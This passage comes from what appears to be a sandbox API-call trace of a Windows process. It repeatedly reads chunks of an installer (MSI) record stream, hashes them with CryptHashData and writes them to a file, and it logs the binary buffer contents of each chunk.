(hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.318] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.318] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Q$\x1dÏ'lfz¯\x0c3ç\x97_W\x08*[Tç\x01Þh\\BÏ\x8b\x02¿û /4Y¡®ç1=\x88?\x87±8±s[ëx$\x10…ôTÛ\x02}ô\x8bQé_í¶\x19ob¸\x08c\x80øíJ aìÖ\x82À6\x94ÃðK^\x7fGw\x0b\x1d\x9e\x078:\x0fp§ò\x04x*g\x05ôC5£Eú%ìåc*QÆïLê+ºÙ4O\rRQØv\x94´Bn\x0cÏ©éX\x9aZ\x12", pcbDataBuf=0x21df03c) returned 0x0 [0147.319] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.319] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.319] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="û\x84\x08S$>\x0bN«cOàÉ\x1c\x04\x82Kõ4£Zü×\x14c¨P̯vúµa¨\x0e6!@\x0c\x81E>÷|ý0Jñ\x84Q³£~\x95ÍÌ\x84V\x94\x1e+nË\x11­\x0eúZú\x92Ï\x010­Lþ\x93#OD\x97\x98fN/°*>Y]ÉS\x15\x02¾²\x94\x02\x84«/ûk\x97Å\x16ß×@o}\x9c¯¼¸\\¥Gªÿ[Q\x8f{)BzGµe\x9di\x864", pcbDataBuf=0x21df03c) returned 0x0 [0147.321] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.321] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.321] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¥®4a3k\"é\x9dá3!VÊ\x02Ì~ ¡e0²G2\x82̦9g7\x91µÍJ\x81:ç\x09qùß\x98x\x15\n*¨ÁXÔ\x8fc±¨¸*\x1awÛ¬V\x84GÝ\x09u1*@M\x04\x88EãRµ×C^xÖ)®\x1bDd\x18CBp£\x19¤y8¸,\x90A~\x94Ð7\x8cÊ®N\x99\"\x17­)§\x9cÉ(>µ/²\x1e\x8bÒÉÇÖG*\x01\x1fbûD÷2º\x0fÚdS\x7f\x91&ͦ\x0e\x95Ü\n\x1eÑEÍ\x08>¡4è\x84Â\n\x1c\x99â\\\x98J¦!\x16MêbÍï\x80\x83&\x17*ì ìÞ\x07Hn?\x05\x17û\x0c\x8d", pcbDataBuf=0x21df03c) returned 0x0 [0147.323] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.323] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.323] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ªm iÙ\x99ùY]1+|\x8a\x91½*…Ü\x89ÿ?\x1bfy~\x18[.Ðöeô&\x06§h7\x83ýa7`ª\x8fÑ®\x11ÛÈ\x1c}\x9cÂ\x92Å!½8\x9f;Æh\x05i\x06÷X=Ïvµ\x0e$ú3´2É\x05&yÆw\x0eQ(«R>~àv¯.£kÍ\x06\x94É^\x9eM\x16B;:è$\x0f\x87\x15qÞ\x1di9Iâ\x07BÉKþ\x9cmk\x1cc/9¸p*î÷í\x95m?\\\x93²ZFy«~\x80`,»(ê\x1eo!ÑѦ", pcbDataBuf=0x21df03c) returned 0x0 [0147.324] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.324] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.325] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ô`eê&¼\x137×ö,ÛT\n½\x0e \x8f\x86\x07èw\x19_ñ§\x01MrÁãö\x9eÄÄS\x98øYm\x14¬\x92òõÚ;É\x80±Iðògá\x9a/EÝóßGÌë4ú\x14+¢îñ(¡\x077ùj\x9b\x0cä\x9e?L®f²\\µ\rýF¦)AÐ\x0eÓ\x0c!\x8eê°\x8aö…Xî^ô\x93õÅç}\\1O&á¢7\rÁ®î».\x18KùHÙ£þ5\x8bV{yå\x95´-\x01H*Ù\x1e¯Iá\x7fáÓɵú\x9foVWÙMbQl\x86\x1c¦è\x83b~ù(h\x08\x1ch²:å\x8bvY!Ónx\x97®/ÜÄ\x15\x18]9Kä<6OJ¼ó¼1ô¦/\x148\x83\\õcòàóÿ\x08\x84+\x90\x92f{Y¹ð\x04è\x16SF¨2U\x9f\x92¼ø\"ûªª£ÃéÁ'½é7\x0cø\x9cL¹\x13Ô3Ûã@\x9e\x9c4\x14\x8fNJóZfy9xh+tÕSß\x86wv­7A.\x08F\x0e\x98\x08Ñ\x0c)ï\x15\x863ìcÄﾩK¨u\x1b±g­\x9aÕ\x80®\x15q\x01\x9d\"ýÛÔÔ¿\x84G¯è¥ÞéÛ\næåú,uÎçS@+\x12\x054Ëîb0\x86ö¨zVú\x9a¬\x05\x04á\x10)\x82ˤQéIÒqb\x9fïF/\x87S-\x1f\x87´p¸gê\x05\x96\x9c[LÆ¡V53\x02Ãí©\x86ö/´;­ÿËÓ\x1cDïÂç\x9e\rGi¥9ÔBá\x84ºùL&É\x9c 0'zÐ¥\x82\x90~\x14béHð6ÐÊ[\x80ZÄ\x9exRá+£Bm\x163ã\x09\x8f¿ùõru9K²\x15\x83\x19EÁæ&Å>nºØ\x0cM§x\x92* µP", pcbDataBuf=0x21df03c) returned 0x0 [0147.326] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.326] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.326] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¯õô\x99>\x80\r¤¨§ñm¹i4…>OVe\x8a;y^Ió\x93ãùïCsg\x04\x94ïc(\x06©ToØ\x14:¤w\n¶ïðY¨¸ü/˾eOj¹o©\x80Ü>¾I\x18\x0e´+óðÊ\x80\x80ë\x95Ø\x93L¿\x9c%ú¨ýÇ!ÿ\rá\x83íå¶\x91'¶\x16\x1dÄÛ\x96Y\x9fØá×\x15ÊD\x06ì\rö\x1eÃ\x82\x84¡ÿYô", pcbDataBuf=0x21df03c) returned 0x0 [0147.327] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.327] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.327] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="", pcbDataBuf=0x21df03c) returned 0x0 [0147.328] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.328] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.329] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÅÄN'T6.õç\x17i\x91=\x9cáBÒ\x16]ÀÏ|\x96îîË®£\x87ÊÔٸͲíÆ+ð vþ¥\x1d2²|¢Vç¥ne¾w\x05tFX\x96\x14¾³%é?\x91ûàb=\x950øoÍ\n\x9a\x10·×0Xao\rѳG8îYÔE\x8c\x04\x91jg!:;\x9bp¹1¡\x7fÕ×µ}\x0býÏ5ÿR~CièàÇ\nF3\x1erµÆ¦\x86Â$9@\x9bÎ(²\x11éy\x1f\x8c\x9c\x91Wði\x88…³\x1de\x12ïP\x96ÙÖ\x0f&Z\x90t\x86ã\x87»\x08\x9aüs7÷\x18ÀÃÞÙ\x8a}¤\x08äF\x8a\x95S,\x891Þ@f\x94ôݽ9\x1aë4À·DÒübA')Nzñ\x09N\x9dù^\x1d\x19ø\x18v", pcbDataBuf=0x21df03c) returned 0x0 [0147.330] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.330] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.330] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ã;å©\x99ò$ü×\x88qKÉi`ÈqÄ\x869ñG0\x15h\x9a`\x0b3A;Vîûìf0Ù\x14ÈÔ\ní]»\x09ßÁ¥Î\x13ã.âÏt\x95ï¶À\x9aF9KÉ\x94óÃJd\x7f?\"\x19à3\x9a*É·\x12ó-UPc>taÇ\x877\x8bü\x0e\x99 úÂ+%Mk\x01\x88\x1c<Ù\x1f\x1b\x80;r\x1fYÞ\x9e\x88Aññ\x06zÔ0Zjºàßñë¸X\x98\x13MöR{.\x1f2u\x94ÅLéq\x0c.l6 \x89\x92\x9b¾¶«\x8a¾ª\x07ñ^Ó{ã\x15áöý\x97¦\x93H^õê\x10©\x95âq»»mgñX\x1eÊÛ \x02#ÿR.Ä\x08»\x06üi¨2\x1eÇj\x99¬K.\x95\x9aâ~\x8bÀYf©Íßwñ¯\x8f0ç7\x9c9\\y¹.\x14Pû\"ô\x040¥\x11ny¶P88aÙ\x92Ü^\x86G5à\x05ÞÒ·\x9a\x1alû-%é\"$\x05s`\x8c\x8c\x1f\x9a\x93\x95\x81À,Ë\x98x,eI¡ýÎ¥Tè>Æ\\\x14AÌ$\x01¿þw©\x9f\x9eÖ\x1a\x0b\rÁ\x1b\x97­\x18\x8f\x13üÌY&Ð9¸ct\x11\x14®\x1c4Ì\x16^\x84¹þGy\x05\x14Îòs$\x81xøiÃ2qjJäfC_=\n%Vnºr'U7\x15U¾êePÒ\x1eèܼg±}h\x8fñÅ5Æ/¾\n­$ÉÖ¼\x83ùÔ@ÍãÄå\x7f/\x9b\x82\x12]&Íf~Rn­\x99ɧVyu\x9cÓ\x9fnOëE\x84\x92»\n\x05\x02\x08x\n ¤¢Ä\x8f&\x19t}P\x14{;\x1a\x95\x89\x16\x1a\x8d´\x09d_Å®ÜÃ\x06Úê5)@pô\x1d\x02Üm t\x03", pcbDataBuf=0x21df03c) returned 0x0 [0147.331] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.331] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.331] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="×\x12¡\x8bJà\x8f+¶\x13ê8\x8e\x8a\x9a´óáSN`¢¢\r\x91àfm2?³\x9bùÀKmzÊ\x84\x8e½V\rPZW+R]ïa¯\x93C;QI%Ç'\x8f,0f\x12\x10ÃJ¥R\x15¢v\x1b­]Þä~\x8f3é", pcbDataBuf=0x21df03c) returned 0x0 [0147.332] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.332] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.333] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¥}(ã%\x88±Ó\x91¨\x1f¦ÔÚéc[×Þ\x9d\x95|á=¤\x034Ã;\x9c\x81Ö½\\\x09\x83¸\x17\x9c\x97Ø\r\x1fuM,ÄÀàÊð\x9b\x94\x17\x95OÅÆ2\x8cD#ôÉ°ï\x065\x1djC[\x12\x06`¹\x98øY»Öð\x01·¹ÊJ,ù*ªÖ6ù\x99Ò7)8\x04Rýn-\x9cU%¼°K¶ß\x90Ï.\x1aX\x1d\x95d ¹dþ*Rnâ©\x14\x83", pcbDataBuf=0x21df03c) returned 0x0 [0147.334] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.334] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.334] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x95Ù#C8\x12A7\x10ßÿ\x0bx@ È.æîþ»É0\x9b\x99\x0f\x16Á\x15©\x02Jª\x9cÁ\x9eâÿý)+¡\x11åø\x10h1o\x96ÓK\x1dàï+uUA}¥\x1dZûÚ¾öe¡ñ«ÑW\x95g í°'dâÖ_g?YVô\x0bÜ!!ÀW%y!\x98\x8e+ÌÚ\x9b\x80°1§Bê\x9bÑx\x1f,X{¸`Ò\x10$-\x11¶\x05º§8aÊÁ½[÷O\x04ÓÔ á׬lt>a¼çï\"\x80ÖR¥4/?\x8cºÎ<¦18O¼=\x9eBGg¾÷Ôâ\x97a¸Ï±ü\x9c?\x82?)\x9f!\x12ÇíCÈO^\x11j\x1aÕz3\x1fÞÅ}Raga~|ȱ[\x03p$>¥¢{Ñe¾p,Z]Æ\r\x84ÙBäIÝ6¾\x15ߤíð(kÉ\x1aU\x01ôË<\x86ê\x18\x84\x82ñIÒgÂ>Ø\x02Z\x14±¢jù\x1a̽uÖvÞø\x1a2\x88Ð\x19áC…Ìd\x7fVÚÎ\x1bËfµEV\x90Ï*5è[ù\x8cy%t,\x1füxÎÏ_\x0e\x02^`4Ý\x8e\x89°\"\x92øUQÄ$¸6\x9e×è\x1a\x98L3_àx\x80áXÍéy&ËE\x17.\"7~éo0Ü\x98\x89±Í.\x88Ê\x99`è|h\r\x80à9¼C\x05Z»¦o)\x02ñ¥ã²\x87\x93¾E\x9b…x\x06ôË ïÌ%Ç¡^È\x14\x8f¬ \x03dÃ~\x9f6R) `Ç'ÔG\x93À~~\x87Ê\x8fêOQ^\x93V\x9aÒØõ\x0eÄ)i­\x8d!â¿\x84V\x98â\x11¿\x09\x98Èn\x86êDú\x1at°\x01ÕL{\x9d§Í;ìé±\x01\x1að0.z\r\x7fQµF\x160ûÆy=»A#\x99ºCÀã»\x80UáÚ\x97¯\x0e-m§-ÁáT3¼V\x01o¹OØ*6ó\x86 #Ù-\x0cWÚBÊîÌññ\x04¢À¬2ô¯1ê[«µ\x8dV&µS×q¥§àÆWXýê\x11¿pú5·!1\x9c\x18«Ó\x95Ôñä!ï¨^Ð\x91±/\x11¾\x98Ô\x86%\x93Ç´b-·+c\\mPA<Â\x7f\x1a\x1f=Z8Ø\x90\x92\x97\x07\x13\x05Ø®\x8d$ÏC5w?\x0ek…\x9a\x90º\x9e\x08[ó\x86\x0eóo\x1c\x94\x02ò(Ûh\x03\x7f\x9f¯\x92\x9ed6²²Ì\x0e·©Úû\x1aûß÷À\x9d~\x93f§Ù\x96\x86¡ôf\x14º\x17[§=Ç\x0f²àÞä\x95ú\x82<ÂêÃþjwBó\x9dè¡ì\x05OH\x1bKb\x0c\x11c\x07¥É×çNó æ±}C1\x12&å1Êî{«3Î\x81Ò\x98.À\x82ù®\x89]\x92§@;z\\YÂ\x08ÓL\x8d\x8cB\x9f¿Ã\nQ{\x1c0î'w7R^\x11\\£ºÉ\x88æùôÅðÑ\x0cÕp\x12\x93äc¢ô§ºìï\x08½\x07ÑÈÐ\x8c\x979´åÔ\x14¦ÌÅæ\x8f6ËøOf¥Êâ\\¯ÆR>Ë\x08;(CÎA\x83\x9f\x989\x13\x07ÄÓLfÏ«\rK°!]ë\x9d\"\x8f\x7fe|×\x02_²¥{Y¯ö\x81¨NÜ\x1b\x98COÝ$O\x1e¬ý\x02|èÏ¡J:MG\x0b«4.\x88\x8cbÙ±iúøv\x93ÄA»\x16É>ÎH\x9fÜ\x90\x87\x94HÇ\x04ȬåM\x124&uN\x13½OPû¦Ê\x80\x01'B#r\x84<ö\\ÌU^\x93Ë[\x8f]s^û$ð/T…ï·…\r\x80¨àõõÂC\x04yHÚê5)@pô\x1d\x02Üm t\x03", pcbDataBuf=0x21df03c) returned 0x0 [0147.335] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.335] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.335] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="A\x0eyb|\x1a>¯\x14\x92\x93\x13\x84?ÔÜ!¼9[\x8b¡¸íîÞèkV\x8c\x13ºI¾\x8a\x1bæzþ<çó~T\x98K3\x13\x09ñ¸Bª\x8f?®ú\x9eZb\x98ÊÂ\x88í±,P\x0eÔÏß\x7f…×vÍô]v\x8dy\x92\x01\x9fªêSðh\x9aW\x1e@î§5\x7f,\x05&õ¯\x8f)\x1d\x8eW;~\x1al\x92Â?\x08ï\x06·@\x1a°« \x98'¹\x0e¨m¤6¥\x1f6ÉÝ*b{c\x8b1Àu¿âêB\x14|\x1e\x7f³îÄÀó\x9eEÊ_Îøý\x09ñ\x84|áÊ)\x8e\x9eJì\x136\x84;\x98\x17\x14·¯³hÔ.tò{@\x1dÆ\x9cêRyBñfÏ]Ès×L\x1fË¢\x83 öÎæÉP¼\x15\x12ÕAßV~¾Öþ-1\r À7Xsà\x10ã\x9dö6IíÏý\x861åÒOØÆtç\x8fÖ\x1cf¯É_¬\x1e¿Ë\x094ä\x8aÔF\x96Í\x86äe\x9d\x12\x8f¬¨¼\x9f\x99À\x1em6°\x03\x90\x1c´\x1c¬ÉCuçNð¹­\x04Þ\x0cº·\x81\x02\x1e\x91\x07²\x0fÂn\\[\x9a\x17\x98%\x0b\x91Æ\x9e(TÖ¡cýæ\x1f\x8aô´w\x82ýuÀóÿ<©n3ÐÈ\x8f²\x93ªÇ,P\x11ϵ_ª\x8a>ìË¢õÇ\x03«\x15\x08ÔÚ\x1aMÒg\x01Ò·SPs\x17uöC\x0fÞpËÊÌýß¡½©2\x9e¦9£ÚFÖL\x7f\x0c\x02Óªïíúâñ·\x13\x9b\x84q@\x04\x89é\x86wY\x80sf\x8c\x9b~ß\x87øÉ\x19 ïÃoÓÄð\x89\x1cæ\x1b!=»\x8dLº;\x8b¦3\x16\x8aδ\x07HÆÃ\\ÀDYúF\x88þm{Iù­¶Òþj\x82ñ\x7fA:-äÞÈ[\x80\x88Yè\x19ÿ\x9b\x8aWOÿɯ9dzS¯©äÿ\x12¤`ITð\x93\x05'Õ4å\x05ü%\x18\x03Åîp ͧ·G\x08=\x1f*¤F\x96¼;³îÝ3\x14p\x87A\x14U/WÕç»»¸×\x98\x8b\x96KfÇó\x86é\x8d\x80Á7,ËÍ·ÈX\x8eSý¶ô@\x97\x9dÒ\x923Î[¨\x12&\x95¬o¿ûå=ÿ\x03!Y\x1d\x9bib¤¥<ú±\x95²´\x84GÞå\x82w.è\x96\x0e«bÑ\x96\x8b\x88j`Èt3&ÆJ]\x9a¸\x94\x7f¦UÔ§å®\x80\x17äÎ\x0fl\x15O$5\x11\n&wS¬µ%\x17?C)H/E\x1aÕ\x03nõÅÓûGNä&$à«\x08ý­_~hË\x1d\x97L\x09\x8fKÒ¤\x18ÖÅì©®jvb}\x8fçÍñ\"»FYÂW+\x16\x03¼\x7fyÌ\x87NL\x09ßé§ÌÃi0ßYc\x11_\x02c]\x08øá.\x10Õ\x83\x87-\x1e¥©!\x0e´\x94&\x05,ãL\x9aD@½ùØðâ·ÐL1\x90T\x06î\x0f#ÎXw\x9f\x9e§\x09´Ç¼.\x02î\x8c·º×(\x11xô\x1cÛ\x1eîBoD¨\x8cUÀ", pcbDataBuf=0x21df03c) returned 0x0 [0147.347] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.347] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.347] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÒX¤\x82\re\x07\x19þ:\x93\x1c|\x100M{\x87{¿I;lp÷\x0f\x1en\x179©e\x83¨¬}\x81Ð\x88q\x09\x0b71²_\x9d*+Ô~9\x99çuUú\x1b­L®<2®s¤\x15ÔL\x13çÕá§Rª\x80\x8fwЯ\x05°\x8aÎkû8ÞÅ2\n\x9d´§ÉD._kú\x19èÎrÓ\x9eM\x84\x7foë­fu¤Nlä\"\np©*a^«6Ã\x81\x93\x0c\x08\x02­7&Ü\x99§\x1d»Ìµò\x84\x9cTÏ»ÑkÃo}°d\"ûÂÃÇgSÒ\x96fS)grµî~\x87´ ïÒÌÖÁ¼Ðù\x10\x9eRõ¢¤C2X{Áã*ýÜ\x80÷SÀ\x0b U}¤ûßH,5\x1a\x894r\x05ì\x0bêu?\x90W\x17 ½CèóÚ\x8b°F\x09ôóµµéu%±a\x1cîª\x1b³Æ\x02º¿Úq¤}]z\x19\x18%\x8eEµ\x07¿\x029Oq\x93\x0fåÈ\x08A}\x07\x8aby\x09Þ\x8eN@\r\x16F\x06ÚV\x9e\x1e*åB\x9c\x8d,\\\x84*\x11Ķ¢F\x07\x10\x07ø\x19\x8c¿¾C\x93ðv¹nÌýôäÎ\x09\x1a\x80\x9c\x9b\x9c¢©@)Í\x93iNäT\x12µÉi\x80®\x87L}\x1a\x97UéãQi\x8fzÿ~¿\x8a\x89\x1aôyúo¼Õ£\x1eöG\nÑ>æË4È[x\x10\x01#´·%ð7×C£M\x98ì1®8_<£\x0cò¬·aÍ`¾\x1dÓÖ$\x92ù|\x99rWrj;[\x11ñ\x8aãR¦\x05\x9aË!\x1aµ2ãi\x90¤+÷O¢Õ IYñ3\x9e3×M\x94Úon\x03È\x8f\x19v-ñÂ\x15uÜ>:£ñ\x88}iÎO\x89\x88fi\x92^Éý'ݽÛ_…\x93Ä\x1fàÀw\x0fë\x92ÆíÙ\x11B\x83\x8bz\x9eÓ\x84To\x07¬º…°Üñ¸M\x12sóá\x90miù²ïó\x0bí®\x16\x9c»%ù m\x19\x98ç\"V[¿þ\x1dÎ0\x80±õKKVÞn9ïK8Ú¨¿å9\x9aW¬Gô¼¦²]n'\x03\x9c\x93\x04t&\x1c\x19A\x8e\x15\x97\x0b\x10g\x99DT\x07Ø$\x0f\x02\x83¤Z¸d9»¿", pcbDataBuf=0x21df03c) returned 0x0 [0147.349] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.349] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.349] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="+\x9cë\x9dtªæ?Î f\x0b]&*º¯ªG-õ<\r-\x1cáüÖ\x98ÚOè°Ç*ÞÅÌ\x1d…t4läê:.A\x8eÝW\x96Ú-\\ ô²\x94æùy&n´³×ºRÓÀÁØ{Ò91rr\x8b'\x8aöèÑ\x16S]R\x9cBYù\x030\x192@=\x1b\x88켡ÎŪÇò÷X±xÌÜ\x113p\x98í\x9e\x8a\x16«ÐÚ\x8aÇ°Þ\x05\x8c\x06ÈSãm[\x01MBù{ùL«\x14µu\x80DÊC\x841#lM@Ý,´\x18&\x9c2c\x07¹EÈ«è@ø\x9e°Ø{ó\x15­\x82½\x13e&\x8a;Ì\x95&Rº\x8bEª@gò\x19kÕ\x0c©t\x93ĹÊ\x95\x8dúhÜ{\x94\x9e\x89\x0fÞþ`\x9aí=Æ$ÓOaËÔ\x7f\x880\x83!P+ÒýÆ/\x12E°\x9a53\x1d3µ×.ã\x02ävk\x1f\x97\x19§S÷,.\x92~\x97ÈEooR]÷µ·\x8ax8ýIÂ\x81R\x90,Ô«\x0cÆ\x1e·\x9dh¨¢=\x8fÔÛÙ#\x1bפcA1Û%\x18öQâò\x15\x9añqã\x96÷ Jæÿ­Ûm!Â8Aù\x16Â\x10zM¥\x01Ï5¼R[\x91$$º\x02Ç/gÄ\x80!\x031ç\x92T@ü`Ld°…ûHNá++\x87­\x03+»ZÄán\nè[t|\x18è\x93Þ £\n\x0f\x06µ{jöõ\x1eueϹ\x01À^ÎÔ\x87O.\x16^±»\x10\nß´\x82°!\x97_Ü", pcbDataBuf=0x21df03c) returned 0x0 [0147.351] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.351] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.351] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="¢¥kí>¥\x93ê6\x7f\x81S\x12m\x87ÂéH\x91s=õ\x8d\x1c§ÑDv@\x12\x98*oOê`Éã\x19_ªäÃ@èÍ\x1a\x82…BFeê\x98r\x1eaIÄþâoìõO\x9b\x9eUµ-£PßU±ê\x84ÔËò\x1f\x11\x98Û\x8cR-ì&W·\x0cÃ.\x0eº\x9f\x19…ÓÌãW\x8aôq\x80%ïDî\x91×\x16Ͳ¶É;\x96\x01±R¶Yc\x1d4ÀÒÀ|&\x0eðÍ8\x1f\x18~pµ\x18\x82¾\x88Åv¡\x0f\x8fK&ðþa:\x90£\x9baE+8þ.V|Ì\x13X5\x09}\x97ÉvÍGÜv^\x15sѤ¯©f~î\x02\rFÕ\x82è\x819q¹sAmË¿ê­q.\x09ÄJÛ\x0c¬Ð­\x90bú\x92*l¡õ\x0e3ï=|\x1ak¨ùü[À%X\x80¡ÈCÉm\x9f»9\x93Ê", pcbDataBuf=0x21df03c) returned 0x0 [0147.352] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.352] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, 